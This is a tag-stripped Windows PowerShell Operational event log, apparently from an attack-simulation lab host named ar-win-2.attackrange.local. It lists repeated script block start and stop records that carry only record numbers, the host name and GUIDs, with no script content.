410515102150x0675367Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675366Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675365Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675364Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675363Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675362Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675361Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675360Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675359Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675358Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675357Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675356Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675355Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675354Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675353Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675352Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675351Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675350Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675349Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675348Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675347Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675346Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675345Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675344Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675343Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675342Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675341Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675340Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675339Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675338Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675337Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675336Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675335Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675334Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675333Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675332Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675331Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675330Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675329Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675328Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675327Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675326Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675325Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675324Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675323Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675322Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675321Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675320Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675319Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675318Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675317Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675316Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675315Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675314Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675313Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675312Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675311Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675310Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675309Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675308Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675307Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675306Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675305Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675304Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675303Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675302Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675301Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675300Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675299Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675298Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675297Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675296Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675295Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675294Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675293Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675292Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675291Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675290Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675289Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675288Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675287Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675286Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675285Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675284Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675283Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675282Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675281Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675280Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675279Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675278Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675277Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675276Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675275Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675274Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675273Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675272Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675271Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675270Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675269Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675268Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675267Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675266Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675265Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675264Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675263Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675262Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675261Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675260Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675259Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675258Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675257Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675256Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675255Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675254Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675253Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675252Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675251Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675250Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675249Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675248Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675247Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675246Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675245Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675244Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675243Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675242Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675241Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675240Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675239Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675238Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675237Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675236Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675235Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675234Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675233Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675232Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675231Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675230Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675229Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675228Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675227Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675226Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675225Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675224Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675223Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 